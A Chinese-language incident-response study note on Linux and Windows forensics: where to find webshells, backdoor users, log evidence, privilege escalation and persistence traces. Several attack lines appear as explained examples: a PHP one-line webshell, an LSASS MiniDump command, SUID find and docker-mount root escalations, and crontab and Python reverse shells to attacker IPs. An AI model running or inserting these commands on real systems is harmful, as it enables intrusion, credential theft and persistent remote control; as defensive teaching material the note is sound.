应急响应笔记

一、系统与目录排查

1. Web 服务目录

Linux

  • /var/www/html目录下面,要注意一些upload目录,一般都是上传文件的保存目录
  • 还有一种情况在根目录就有www目录,一般情况下是没有这个目录的,如果在根目录下看到了 /www,基本是由系统管理员或某个应用程序手动创建的

Windows

  • 搭建网站一般就是phpstudy和iis,可以去phpstudy的www目录下面找到对应网站的目录
  • iis也是找目录,默认的是 c:\inetpub\wwwroot\

2. 敏感文件与目录

历史记录文件

  • /root目录下的.bash_history是Bash shell的命令历史记录文件,可以用来看黑客在此之前执行了什么操作

用户账户文件

  • /etc/passwd存放用户账户信息数据库文件

  • 每行代表一个用户账户,包含7个字段,用冒号 : 分隔,例如:

    username:password:UID:GID:GECOS:home_directory:shell
    
    1. 用户名 - 用户登录名
    2. 密码 - 现在通常是 x,实际密码存储在 /etc/shadow
    3. UID - 用户ID
      • 0 = root
      • 1-999 = 系统用户
      • 1000+ = 普通用户
    4. GID - 主组ID
    5. GECOS - 用户全名或描述信息
    6. 家目录 - 用户登录后的初始目录
    7. 登录shell - 用户使用的shell路径

    黑客留下的后门用户也可以在这里查到

Windows隐藏用户

  • 名字后面有个$的一般都是隐藏用户
  • 查看注册表位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

image-20251118163250243

  • 或者直接使用命令:
wmic useraccount get Name

image-20250706181918570

临时文件目录

  • /var/tmp是一个用于存放程序或用户创建的、需要临时保存但存活时间比/tmp目录下的文件更长的临时文件的目录
  • 因为比/tmp存活的时间久而且重启之后不会删除,所以有些攻击者会将恶意文件或者重要文件放在此处

用户目录

  • 在用户目录下的一些桌面、文档或者其他位置都有可能藏东西

权限配置文件

/etc/sudoers存放的是哪些用户被分配了sudo的使用权

存放的是哪些用户被分配了sudo的使用权

权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。

例如:

www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
  1. 用户:www-data
  • Web服务器(如Apache)的运行用户
  • 通常权限较低,只能访问web目录
  1. 权限:ALL=(root)
  • 可以在任何主机上以root身份执行命令
  1. 免密码:NOPASSWD:
  • 执行sudo命令时不需要输入密码
  • 这是最大的安全风险
  1. 命令:/bin/systemctl status apache2.service
  • 表面上只是查看Apache服务状态
  • 但这里隐藏着巨大的风险

数据库配置文件

  • config.inc.php - 数据库的登录信息

系统日志目录

  • 一些中间件的比如apache等的日志文件就在/var/log的对应文件目录下
  • 有时会有多个日志文件,一般优先查看access.log文件

Vim历史记录文件

.viminfo文件记录了用户最近编辑过的文件,通过被编辑过的文件可以找到新信息

例如:

image-20251119203310333

编辑过/etc/systemd/system/system-upgrade.service还有/etc/netplan/01-netcfg.yaml

systemctl启动配置文件

/etc/systemd/system
/usr/lib/systemd/system
/lib/systemd/system

一些后门进程可能会在这里面

PAM身份验证模块

/usr/lib/x86_64-linux-gnu/security 目录存放的是 PAM (Pluggable Authentication Modules) 的可插入认证模块

如果没有x86_64-linux-gnu目录,可以去/usr/lib64/security下面找

PAM 是 Linux 系统中用于身份验证的模块化框架,它允许系统管理员自定义和配置各种认证方式

  1. 认证模块 (auth)
  • pam_unix.so - 传统的 Unix 密码认证
  • pam_ldap.so - LDAP 认证
  • pam_sss.so - SSSD 认证
  • pam_krb5.so - Kerberos 认证
  1. 账户管理模块 (account)
  • pam_time.so - 基于时间的访问控制
  • pam_access.so - 基于主机名的访问控制
  1. 密码管理模块 (password)
  • pam_pwquality.so - 密码强度检查
  • pam_cracklib.so - 密码字典检查
  1. 会话管理模块 (session)
  • pam_limits.so - 设置用户资源限制
  • pam_mkhomedir.so - 自动创建家目录
  • pam_env.so - 设置环境变量

可以用作排查,当发现文件日期有明显不同时可以拿去ida分析

一般拿去维持权限的文件都是pam_unix.so文件,pam_unix.so 是 Linux 身份验证的核心组件,控制着所有本地登录认证

ssh warpper后门

什么是ssh warpper:

SSH Wrapper后门是一种通过劫持系统正常登录流程来实现隐蔽访问的恶意技术。它的核心思想是:用一个恶意的“包装器”程序来替换或拦截合法的SSH登录程序,这个包装器在验证用户身份时,除了执行正常的验证流程,还会秘密地接受一个攻击者预设的“万能密码”。

无论你输入什么用户名,只要使用了这个“万能密码”,后门都会允许你登录。而对于其他所有密码,它会将其传递给正常的SSH验证流程,因此系统上的正常用户完全不会察觉到异常。

这种后门通常通过修改系统的PAM配置或替换系统库来实现,但最经典和直接的方式是替换 sshsshlogin 等二进制文件。

  1. 目标选择:攻击者瞄准了用于远程登录的关键程序,最常见的是 /usr/sbin/sshd(SSH服务端守护进程本身)或者 /usr/bin/ssh(SSH客户端,在某些场景下也被用于某些登录流程),但更常见和隐蔽的是针对 PAM 模块。
  2. 创建“包装器”
    • 攻击者会编写一个特殊的程序,我们称之为“Wrapper”(包装器)。
    • 这个程序首先会检查用户输入的密码。
    • 后门逻辑:如果输入的密码等于预设的“万能密码”(例如 secret123),则无论用户名是什么,都直接授予访问权限。
    • 正常逻辑:如果输入的密码不是万能密码,则将该密码和用户名传递给原始的、未被修改的SSH验证流程(比如原始的 sshd 或 PAM 模块)进行处理。
  3. 替换系统文件
    • 攻击者将原始的系统文件(如 /usr/sbin/sshd)重命名为另一个名字(如 /usr/sbin/sshd.original)。
    • 然后将编译好的恶意包装器程序命名为原始系统的名字(/usr/sbin/sshd)。
    • 这样一来,当系统启动SSH服务或用户尝试登录时,实际执行的是这个恶意的包装器,而不是原始程序。

通过上面的介绍可以知道最需要排查的文件就是/usr/sbin/sshd

ssh登录的重要文件

客户端文件(本地机器)

  1. 私钥文件(保密!)
~/.ssh/id_rsa              # RSA 私钥(最常用)
~/.ssh/id_ecdsa            # ECDSA 私钥  
~/.ssh/id_ed25519          # Ed25519 私钥(推荐)
~/.ssh/id_dsa              # DSA 私钥(已不推荐)
  1. 公钥文件(可公开)
~/.ssh/id_rsa.pub          # RSA 公钥
~/.ssh/id_ecdsa.pub        # ECDSA 公钥
~/.ssh/id_ed25519.pub      # Ed25519 公钥

服务端文件(远程服务器)

  1. 授权密钥文件
~/.ssh/authorized_keys      # 最重要的文件!存储允许登录的公钥
  1. 其他相关文件
/etc/ssh/sshd_config        # SSH 服务端配置文件
~/.ssh/known_hosts          # 已知主机公钥记录
/etc/ssh/ssh_host_*         # 服务器主机密钥

xinetd服务

什么是xinetd服务:

xinetd 是一个在类Unix系统(如Linux)上运行的超级守护进程。它的名字是 eXtended InterNET Daemon 的缩写。你可以把它理解为一个 “服务的总机接线员”“统一的服务管理门户”

核心配置文件:

  1. 主配置文件/etc/xinetd.conf,主要用于设置全局默认值,所有在 /etc/xinetd.d/ 目录下的服务配置都会继承这些默认设置
  2. 服务特定配置目录/etc/xinetd.d/,包含了由 xinetd 管理的各个具体服务的配置文件。每个文件通常以服务命名

3、隐藏文件目录

这个在Linux查看目录的时候加上参数a来显示所有文件,在文件名前面有.的就是隐藏文件,有些恶意文件为了不被发现就会写成这种隐藏文件的形式

ls -lha

windows也是类似,在文件资源管理器看不到的文件可以在对应目录终端用命令查看

dir /ah

执行的话直接输入文件名就能运行


4、第三方应用程序目录

在Linux系统中,通常将 /opt 目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的,也不是通过系统包管理器(如apt、yum等)安装的

一般就是找什么扫描工具(nmap等)、后门注入工具(Cymothoa等)可以在这里找

windows就是C盘下的Windows目录或者是用户目录,一般有恶意文件就是在这里找一找


二、进程与恶意程序分析

1. 系统进程与DLL滥用

LSASS相关攻击流程

  • rundll32.exe 是一个 Windows 系统进程,允许用户调用 Windows DLL 文件中的函数。这通常用于执行系统功能或脚本任务。rundll32.exe 被用来调用 comsvcs.dll 中的 MiniDump 函数,生成一个包含系统账户和密码信息的 lsass.dmp 文件
  • comsvcs.dll 是 Windows 系统中的一个 DLL 文件,包含与 COM+ 服务相关的功能。这个 DLL 文件中的 MiniDump 函数可以用来创建内存存储文件,这些文件包含了系统内存的快照,可能包括敏感信息,如用户凭证
  • LSASS.exe 是 Windows 操作系统中负责管理本地安全策略、用户认证和访问控制的关键系统进程。由于其在系统安全中的重要性,LSASS.exe 常常成为攻击者的目标

攻击流程

  1. 调用 rundll32.exe: 攻击者使用 rundll32.exe 来调用 comsvcs.dll 中的 MiniDump 函数
  2. 命令格式:rundll32.exe comsvcs.dll, MiniDump <PID> <DUMP_FILE_PATH> full
  3. <PID> 是目标进程的进程 ID,例如 LSASS 的进程 ID
  4. <DUMP_FILE_PATH> 是要生成的转储文件路径
  5. 生成 lsass.dmp 文件,这个命令会生成一个包含 LSASS 进程内存内容的转储文件
  6. 使用 Mimikatz 读取凭证,攻击者随后使用 Mimikatz 等工具来读取和提取转储文件中的凭证

示例

cd /d "C:\phpstudy\PhPTutorial\www\onlineshop"&rundll32.exe comsvcs.dll,MiniDump 852 C:\Temp\onlineshopBackup.zip full&echo [S]&cd&echo [E]

1. cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"

  • 功能:切换到指定目录。
  • 详细说明
    • cdChange Directory(切换目录)的命令。
    • /d 参数表示 同时切换驱动器(如从 D: 切换到 C:)。
    • "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop" 是目标路径(\\ 是转义后的 \,实际路径为 C:\phpStudy\PHPTutorial\WWW\onlineshop)。

2. rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full

  • 功能:使用 rundll32.exe 调用 comsvcs.dllMiniDump 功能,生成进程的内存转储(dump)文件。
  • 详细说明
    • rundll32.exe 是 Windows 系统工具,用于运行 DLL 文件中的函数。
    • comsvcs.dll 是 Windows 系统 DLL,包含 进程转储(minidump) 相关功能。
    • MiniDumpcomsvcs.dll 提供的函数,用于创建 进程内存快照(通常用于调试或取证)。
    • 852 是目标 进程 ID(PID),表示要转储的进程(需替换为实际 PID)。
    • C:\Temp\OnlineShopBackup.zip 是转储文件的输出路径(.zip 格式可能是伪装)。
    • full 表示 完整转储(包含进程的所有内存数据)。

粘滞键后门

查看进程

ps -ef

发现监听

image-20251030190707264


2. 恶意文件类型

WebShell类型

一句话木马

<?php @eval($_POST['123']);?>

其中123就是连接密码

冰蝎连接

image-20251118163329469

这是冰蝎3.0的连接,根据密钥去解密,base64加AES

哥斯拉连接

image-20251118163338210

哥斯拉加密函数特征:

  • @session_start(); - 开启一个会话
  • @set_time_limit(0); - 设置脚本执行时间为无限
  • @error_reporting(0); - 关闭所有错误报告

其他恶意文件类型

  • elf文件 - linux下的可执行文件,一般是执行之后会有监听
  • so文件 - 这个还没有统一出来原因,但是我遇到过的so文件很大概率都是恶意文件,特别是放在目录或者根目录下面的
  • exe文件 - 出现在不寻常位置的exe文件直接拿去沙箱扫
  • bat文件 - .bat文件是一个批处理文件,它是一个包含一系列DOS命令的文本文件
  • office文档 - 可能会存在宏病毒,要拿去云沙箱检测
  • ko文件 - 内核模块,可以在系统运行时动态加载/卸载到内核中,运行在内核空间,具有最高权限

3. 恶意代码特征

危险函数

  • PHP: eval, system, exec, shell_exec, passthru, assert, base64_decode
  • ASP: Execute, Eval, CreateObject
  • JSP: Runtime.getRuntime.exec

文件操作函数

  • PHP: fopen, fwrite, file_get_contents, file_put_contents
  • ASP: FileSystemObject

远程通信函数

  • PHP: fsockopen, curl_exec, file_get_contents('http://...')
  • ASP: WinHttp.WinHttpRequest

发现方法

# 搜索目录下适配当前应用的网页文件,查看内容是否有webshell特征
find ./ -type f -name "*.jsp" | xargs grep "exec("
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.asp" | xargs grep "execute("
find ./ -type f -name "*.aspx" | xargs grep "eval("
# 对于免杀webshell,可以查看是否使用编码
find ./ -type f -name "*.php" | xargs grep "base64_decode"

4、查杀

注意windows的安全中心,一些可能是因为开了这个然后已经被删除了,找恶意文件的时候可以看看保护记录看看有哪些恶意文件,或者是主机没开这个开启之后就有文件被查杀了


5、钓鱼邮件

eml文件,可以用编辑器(比如notepad++)打开,里面有详细的邮件发送者、接收者的信息,还有邮件的正文内容

image-20251118163401357

顺序 Received 行 IP 地址 角色
第1个 from mail.ffcs.cn (unknown[61.154.14.126]) 61.154.14.126 接收服务器(RichMail)
第2个 from 127.0.0.1 by mail.ffcs.cn 127.0.0.1 内部转发(可能是邮件扫描服务器)
第3个 from unknown (HELO localhost) (ffnic@[127.0.0.1]) 127.0.0.1 邮件服务器内部处理
第4个 X-Mailer: MagicMail WebMail (from: 121.204.224.15) 121.204.224.15 实际发件人 IP

三、日志分析与行为追踪

1. 日志文件路径

Linux日志目录

  • 一些中间件的比如apache等的日志文件就在/var/log的对应文件目录下,有时会有多个日志文件,一般优先查看access.log文件

常见日志文件

  • /var/log/syslog: 记录系统的各种信息和错误
  • /var/log/auth.log: 记录身份验证相关的信息,如登录和认证失败
  • /var/log/kern.log: 记录内核生成的日志信息
  • /var/log/dmesg: 记录系统启动时内核产生的消息
  • /var/log/boot.log: 记录系统启动过程中的消息
  • /var/log/messages: 记录系统的广泛消息,包括启动和应用程序信息
  • /var/log/secure: 记录安全相关的消息
  • /var/log/httpd/: 记录Apache HTTP服务器的访问和错误日志
  • /var/log/nginx/: 记录Nginx服务器的访问和错误日志

日志文件说明

  • auth.log: 当前正在写入的日志文件,包含最新的身份验证事件,如当前用户登录、认证失败、sudo使用等;路径通常为/var/log/auth.log;会被系统日志服务实时更新
  • auth.log.1: 已轮转的旧日志文件,是auth.log被系统通过logrotate机制轮转之后的第一份备份;不再被实时写入,只读存储旧记录;一般保留上一个周期的日志

Windows日志

  • windows的应急响应有小皮,查看web服务的日志就直接去小皮下面对应的日志查看

image-20251118163419951

image-20251118163428183


2. 关键日志事件分析

SSH暴力破解

# 统计失败登录TOP IP(最近)
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head -20

# 查看无效用户尝试
grep "Invalid user" /var/log/auth.log | awk '{print $10}' | sort | uniq -c | sort -nr | head -20

# 特定IP的完整攻击链条
grep "192.168.1.100" /var/log/auth.log | head -50

# 统计每个ip的访问次数
awk '{print $1}' access.log.1 | sort | uniq -c | sort -nr

成功登录分析

# 近期成功登录的IP和用户
grep "Accepted" /var/log/auth.log | tail -50 | awk '{print $1,$2,$3,$9" -> "$11}'

# 统计成功登录的异常用户
grep "Accepted" /var/log/auth.log | awk '{print $9}' | sort | uniq -c | sort -nr

时间范围分析

# 查看攻击发生时间段的日志(例如:14:00-15:00)
sed -n '/Jun 15 14:00:00/,/Jun 15 15:00:00/p' /var/log/auth.log > /tmp/attack_period.log

# 或者使用grep时间范围
grep "Jun 15 14:" /var/log/auth.log

# 最近30分钟的所有认证事件
awk -v d1="$(date --date='-30 min' '+%b %_d %H:%M')" -v d2="$(date '+%b %_d %H:%M')" '$0 > d1 && $0 < d2' /var/log/auth.log

# 最近1小时失败登录
grep "Failed password" /var/log/auth.log | grep "$(date '+%b %d %H:' -d '1 hour ago')"

3. 攻击行为特征识别

异常登录

# 非工作时间登录(晚上10点到早上6点)
grep "Accepted" /var/log/auth.log | grep -E "(22:|23:|00:|01:|02:|03:|04:|05:)"

# 短时间内多次成功登录
grep "Accepted" /var/log/auth.log | awk '{print $1,$2,$3,$11}' | uniq -c | sort -nr | head -10

特权操作监控

# su切换用户记录
grep "su:" /var/log/auth.log | grep -v "FAILED"

# sudo特权命令执行
grep "sudo:" /var/log/auth.log | grep -v "NOT IN sudoers"

# 用户授权操作
grep -E "session opened for user|by.*uid=0" /var/log/auth.log

综合攻击链分析

# 查看某个嫌疑IP的所有活动
grep "203.0.113.45" /var/log/auth.log | tee /tmp/suspicious_ip.log

# 分析攻击时间线
grep "203.0.113.45" /var/log/auth.log | awk '{print $1,$2,$3,$5,$6,$7,$8,$9}' | sort

# 从失败到成功的攻击链条
grep -E "(Failed|Invalid|Accepted)" /var/log/auth.log | grep -A2 -B2 "203.0.113.45"

# 用户登录后的后续操作
grep -E "session opened|COMMAND" /var/log/auth.log | grep -A5 "session opened"

反弹Shell痕迹

  • 可以去日志文件的错误日志找找,error.log

image-20251118163447786

sh: 1: curl: not found
--2023-08-01 02:14:11--  http://192.168.100.13:771/
Connecting to 192.168.100.13:771... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: 'index.html'

看关键的地方,这里说明黑客在MySQL中执行了系统命令curl下载了一个文件

http://192.168.100.13:771/

这正是黑客主机IP,反弹或下载shell时使用

浏览器指纹

  • 日志一般都记录了浏览器指纹
  • 示例:
192.168.200.2 - [03/Aug/2023:08:46:45 +0000] "GET /id_rsa.pub HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"

这里就可以知道浏览器指纹是

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

指纹的关键特点

  • 唯一性:收集到的指纹组合具有高度唯一性,可用于识别个体设备。
  • 无需存储数据在用户设备:与 Cookie 不同,指纹不会直接写入本地文件,因此更难被察觉和防范。
  • 持久性强:用户即使清除 Cookie、更换 IP、使用隐私模式,也可能依然被识别。
  • 合法用途与隐私争议并存:可以用于欺诈检测、会话保持等合法场景,但也存在隐私侵犯的风险。

四、权限与持久化机制

1. 权限提升方式

UDF提权

UDF = User Defined Function(用户自定义函数)

MySQL允许用户通过共享库(.so / .dll 文件)扩展自己的函数(UDF函数),这些函数可以在SQL语句中像内置函数一样调用。

如果黑客能上传并注册恶意UDF,就能执行系统命令,例如:

select sys_exec('id');

最终实现 数据库用户→系统(root)的提权

UDF提权的原理?

  1. 编写恶意的 UDF(.so) 文件
    • lib_mysqludf_sys.so,可提供执行系统命令的功能。
  2. 利用 MySQL 的 CREATE FUNCTION 命令将这个 .so 文件注册为数据库函数。
  3. 在SQL语句里执行这个函数,实现系统命令执行(RCE)。

UDF提权需要哪些条件?

条件 说明
1. FILE 权限 用户必须有FILE权限,才能利用SELECT ... INTO DUMPFILE向磁盘写.so文件。
2. 插件路径可写 插件目录(通常 /usr/lib/mysql/plugin//usr/lib64/mysql/plugin/)必须是可写的。
3. MySQL运行用户(如mysql)具有足够的系统权限 执行UDF命令时,实际是由MySQL进程所在的系统用户(通常是mysql用户)执行。
4. 安全配置未限制 UDF 功能 如新版MySQL禁用了某些UDF动态加载,需要绕过或找低版本。

示例:

查询当前MySQL全局变量中所有名字包含 "secure" 的变量及其值

show global variables like '%secure%';

image-20251118163503411

查到secure_file_priv字段为空,具有写入权限

一般进行了提权,一定会在/usr/lib/mysql/plugin/目录下留下痕迹

来到此目录

image-20251118163511948

这个目录是mysql存放用户自定义函数的,出现了一个udf.so文件,肯定是有人写入了一个自定义函数到库中

既然hacker进行了提权,在库中写入了自定义函数,我们去数据库中查询一下

select * from mysql_func;

mysql.func 是什么?

  • 系统表:位于 mysql 系统数据库中。
  • 作用:记录数据库中被定义的所有自定义函数(UDF, User Defined Function)信息。
  • 表结构 大概如下:
name ret dl type
函数名 返回类型 动态库路径 函数类型

image-20251118163535232

攻击者上传了 mysqludf.so 这个库

成功在MySQL中创建了一个叫 sys_eval 的函数

任何人拥有SQL执行权限都可以用:

SELECT sys_eval('命令');

来执行任意系统命令(如反弹Shell、删除文件、安装后门)

执行:

SELECT sys_eval('whoami');

SUID提权

SUID(Set User ID)是 Unix/Linux 文件系统中的一种权限位。当文件的 SUID 位被设置时,执行该文件的用户将临时获得文件所有者的权限。这通常用于程序需要执行一些需要更高权限的操作(例如,ping 命令需要发送 ICMP 请求,因此需要 root 权限)

示例:

使用命令

find / -perm -u=s -type f 2>/dev/null

这个命令用于查找系统上所有设置了 SUID 位的文件

  • find /: 从根目录开始查找

  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)

  • -type f: 只查找文件(不包括目录)

  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息

image-20251118163546919

rws 表示文件所有者(root)具有 SUID 位(s),并且文件的所有者是 root,所以不难看出find就是被黑客进行提权,也就是说这个 find 进程实际上是以 root 身份运行的

r - Read(读取权限)

  • 文件:可以读取文件内容
  • 目录:可以列出目录中的文件列表

w - Write(写入权限)

  • 文件:可以修改、覆盖、截断文件内容
  • 目录:可以在目录中创建、删除、重命名文件

x - Execute(执行权限)

  • 文件:可以作为程序或脚本执行
  • 目录:可以进入(cd)该目录

为什么 /usr/bin/find 设置 SUID 是危险的?

find 命令本身功能强大,如果被恶意利用,可能实现提权(Privilege Escalation)。例如:

攻击手法示例

# 利用 SUID 的 find 执行任意命令(提权到 root)
/usr/bin/find . -exec /bin/sh -p \; -quit
  1. /usr/bin/find .
    • 启动 find 程序,从当前目录 . 开始搜索文件
    • 因为 find 有SUID位,所以此时这个进程是以root身份运行
  2. -exec /bin/sh -p \;
    • 这是 find 命令的一个合法参数,功能是:对于每一个找到的文件,执行后面指定的命令
    • -exec 是“执行”的触发开关
    • /bin/sh -p 是要执行的命令。/bin/sh 是一个shell(命令解释器),-p 参数是关键,它告诉shell “不要降低权限,保留当前的用户ID和权限”。如果没有 -p,新启动的shell可能会被降级回普通用户的权限
    • \;-exec 参数的结束标记,告诉 find “命令到这里就结束了”
  3. -quit
    • find 在执行完第一个 -exec 动作后就立即退出。因为当前目录至少有一个文件(比如 . 本身),所以 -exec 至少会执行一次。加上 -quit 是为了干净利落,执行一次拿到shell后就退出 find 进程,避免它继续在后台运行

现在把所有步骤串联起来:

  1. 攻击者(普通用户) 在终端输入命令:/usr/bin/find . -exec /bin/sh -p \; -quit 然后按下回车
  2. Linux系统 看到要执行 /usr/bin/find,检查其权限,发现它有SUID位且属于root
  3. 系统以root权限启动了一个 find 进程
  4. find 进程开始在当前目录 . 下搜索。它很快找到了第一个文件(可能就是目录 . 本身)
  5. 根据 -exec 参数的要求,find 需要为这“第一个找到的文件”执行命令 /bin/sh -p
  6. 关键点find 进程是root权限,那么由它启动/bin/sh 进程,默认也会继承这个root权限
  7. 系统于是创建了一个新的shell进程(/bin/sh,并且由于 -p 参数,这个shell进程保留了root权限
  8. 这个新的shell是一个交互式的root shell。它会显示一个新的命令提示符(可能是 #
  9. 与此同时,find 进程因为遇到了 -quit,就自行结束了
  10. 攻击完成:攻击者现在面对的不再是他原来的普通用户shell,而是一个拥有root权限的shell。他可以在里面执行任何命令(如 whoami 会返回 rootcat /etc/shadow 可以查看密码哈希文件等),实现了权限提升

docker挂载目录

条件

  1. 核心前提条件
# 用户需要在 docker 组中
groups $USER
# 输出需要包含:user docker

# 或者有 sudo docker 权限
sudo -l | grep docker
  1. 权限要求
  • 用户属于 docker或者
  • 用户有 sudo docker 权限 或者
  • 用户有直接的 Docker socket 访问权限 (/var/run/docker.sock)

提权

docker run --name shell -v /:/n0o0b -it nginx:1  bash
  • docker run:创建并运行新容器
  • --name shell:给容器命名为 "shell"
  • -v /:/n0o0b关键攻击点 - 将宿主机根目录 / 挂载到容器的 /n0o0b 目录
  • -it:交互模式 + 伪终端
  • nginx:1:使用官方 nginx 镜像作为掩护
  • bash:在容器内启动 bash shell

就是容器n0o0b里面有主机的整个/目录,并且在里面查看的内容和主机的完全一致,也可以修改

image-20251119214714841

image-20251119214837361

在操作完成后使用命令创建一个拥有root权限的用户

echo "n0o0b::0:0::/root:/bin/bash" >> /n0o0b/etc/passwd
su n0o0b

UID设置为0,root权限

这样后续如果再需要root命令才能查看的文件或操作时直接使用n0o0b用户即可


2. 持久化手段

Linux计划任务

目录:/etc/crontab/etc/cron.d/

➜  crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
*/1 * * * *  /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h  dom mon dow   command

很明显的反弹shell被写进去了

*/1 * * * * = 每分钟执行一次

# 格式:分 时 日 月 周
* * * * * <command>
│ │ │ │ │
│ │ │ │ └── 星期几 (0-7, 0和7都代表周日)
│ │ │ └── 月份 (1-12)  
│ │ └── 日期 (1-31)
│ └── 小时 (0-23)
└── 分钟 (0-59)

Windows计划任务

直接看计划任务,大多数是在前面几个就找到了

示例:

image-20251124103947905

任意用户登录触发后门

这个就是黑客修改了配置项导致的,常见的位置包括:

  • /etc/profile:全局登录脚本(所有用户登录时执行)
  • /etc/bash.bashrc:全局非登录交互式Shell的初始化(但登录时可能被调用)
  • /etc/profile.d/目录:其中的脚本在登录时被/etc/profile调用
  • /etc/pam.d/login或相关PAM配置:可设置登录时执行命令
  • /etc/ssh/sshrc:SSH登录时执行(针对所有用户)
  • /etc/environment:设置环境变量(可能被利用来执行命令)

最典型的配置是修改/etc/profile/etc/profile.d/中的脚本,因为它们在用户登录时会被执行。

查看配置文件时应该可以看到里面写入了恶意文件的文件名

root登录触发后门

被修改的配置文件的位置:

  1. /root/.bashrc
  • root用户的bash初始化文件
  • 只在root用户启动交互式shell时执行
  1. /root/.profile
  • root用户的登录配置文件
  • 在root用户登录时执行
  1. /root/.ssh/rc
  • root用户通过SSH登录时执行
  1. /etc/security/opasswd (PAM相关)
  • 但不太常见
  1. /etc/sudoers.d/ 中的特殊配置
  • 但通常用于权限控制而非执行命令
  1. /etc/profile 中的条件判断
  • 可能在/etc/profile中添加了UID判断:
if [ $(id -u) -eq 0 ]; then
   恶意命令
fi

恶意操作:修改系统命令

系统中绝大多数用户级应用程序的主程序文件(可执行程序)都在/usr/bin/,要找被纂改的命令可以先看看有没有类似一样名称的但是加了一两个字符的,比如:

image-20251118163606599

查看ps

image-20251118163614883

可以看到这不是系统自带的ps命令,该脚本被用来替代了系统原有的ps命令,使用ps_ $1 $2 $3调用一个未知的命令或脚本(ps_),并将传递给ps命令的参数转发给它。然后,通过管道将输出传递给grep -v 'threadd',过滤掉包含字符串'threadd'的行,说明ps命令被篡改了

创建端口转发规则

使用命令:

netsh interface portproxy show all

image-20251118163623230

开机自启

Linux:

linux的开机自启动文件路径一般配置在

/etc/rc.d/rc.local/etc/rc.local

或者是在/etc/init.d 目录下添加自启动脚本

Windows:

win+r输入service.msc查看服务,找那些不对劲的,比如:

image-20251124105719226

serverr

注册表权限维持

常见路径:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run (32位程序在64位系统上)
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • 其他Policies\Explorer\Run, Windows\CurrentVersion\Explorer\User Shell Folders

3. 网络行为分析

Python反向Shell后门

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([".yh","-i"]);' &
  1. python -c '...' &
  • -c:执行后面的Python代码
  • &:在后台运行(不阻塞当前shell)
  1. 导入模块
import socket,subprocess,os
  • socket:网络通信
  • subprocess:创建子进程
  • os:操作系统接口
  1. 建立socket连接
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("124.221.70.199",9919))
  • 创建TCP socket(AF_INET=IPv4,SOCK_STREAM=TCP)
  • 连接到攻击者的服务器:124.221.70.199:9919
  1. 重定向标准流
os.dup2(s.fileno(),0)  # 标准输入(0) → socket
os.dup2(s.fileno(),1)  # 标准输出(1) → socket  
os.dup2(s.fileno(),2)  # 标准错误(2) → socket
  • 将所有输入输出重定向到网络连接
  1. 启动交互式shell
p=subprocess.call(["/bin/sh","-i"])
  • "/bin/sh","-i":启动交互式shell
  • 由于输入输出已重定向,shell的I/O都通过socket进行

4、内网代理隐蔽通信隧道

.conf文件,类似:

image-20251118163639418

这段配置是 内网穿透/反向代理工具(如 frpnps 或类似工具)的客户端配置文件,用于将本地服务暴露到公网

  1. 核心参数解析
参数 值/示例 作用
server_addr 178.102.115.17:52329 连接的服务端IP和端口,客户端通过此地址与服务器通信。
conn_type tcp 传输协议类型(TCP/UDP/KCP等),这里使用TCP保证可靠传输。
vkey 6bHW7m4SMvy 验证密钥,客户端与服务端匹配的凭证(需与服务器配置一致)。
auto_reconnection true 自动重连,网络中断后尝试重新连接服务器。
max_conn 1000 最大连接数限制,防止资源耗尽。
flow_limit 1000 流量限制(单位可能是KB/MB),控制带宽使用。
rate_limit 1000 速率限制(如1000请求/秒),防止高频请求攻击。
  1. 代理认证(注释部分)
# basic_username=11
# basic_password=3
# web_username=user
# web_password=1234
  • 作用
    • 如果启用,访问代理服务(HTTP/SOCKS5)需输入用户名密码(如 basic_username:11 + basic_password:3)。
